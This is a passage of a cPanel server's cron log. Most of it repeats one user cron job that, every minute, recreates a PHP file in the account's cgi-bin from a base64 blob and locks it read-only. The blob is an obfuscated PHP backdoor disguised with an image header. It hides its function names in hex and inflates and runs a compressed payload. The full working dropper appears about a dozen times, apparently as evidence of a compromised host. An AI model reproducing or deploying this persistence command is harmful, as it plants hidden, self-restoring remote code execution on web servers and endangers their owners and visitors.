Q0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:30:01 server CROND[1193]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:31:01 server CROND[2112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:31:01 server CROND[2113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:31:01 server CROND[2114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:32:01 server CROND[2499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:32:01 server CROND[2500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:32:01 server CROND[2501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:33:01 server CROND[2918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:33:01 server CROND[2919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:33:01 server CROND[2920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:34:01 server CROND[3303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:34:01 server CROND[3304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:34:01 server CROND[3305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:35:01 server CROND[3797]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 00:35:01 server CROND[3799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:35:01 server CROND[3809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:35:01 server CROND[3812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:35:01 server CROND[3816]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 00:35:01 server CROND[3817]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 00:35:01 server CROND[3810]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:35:01 server CROND[3815]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 00:35:01 server CROND[3814]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 00:36:01 server CROND[4651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:36:01 server CROND[4652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:36:01 server CROND[4653]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:37:01 server CROND[5039]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:37:01 server CROND[5040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:37:01 server CROND[5042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:38:01 server CROND[5411]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:38:01 server CROND[5412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:38:01 server CROND[5413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:39:01 server CROND[5791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:39:01 server CROND[5792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:39:01 server CROND[5794]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:39:01 server CROND[5793]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 00:40:01 server CROND[6268]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 00:40:01 server CROND[6272]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 00:40:01 server CROND[6270]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:40:01 server CROND[6271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:40:01 server CROND[6273]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 00:40:01 server CROND[6275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:40:01 server CROND[6274]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 00:40:01 server CROND[6276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:41:01 server CROND[7071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:41:01 server CROND[7072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:41:01 server CROND[7073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:42:01 server CROND[7417]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 00:42:01 server CROND[7418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:42:01 server CROND[7416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
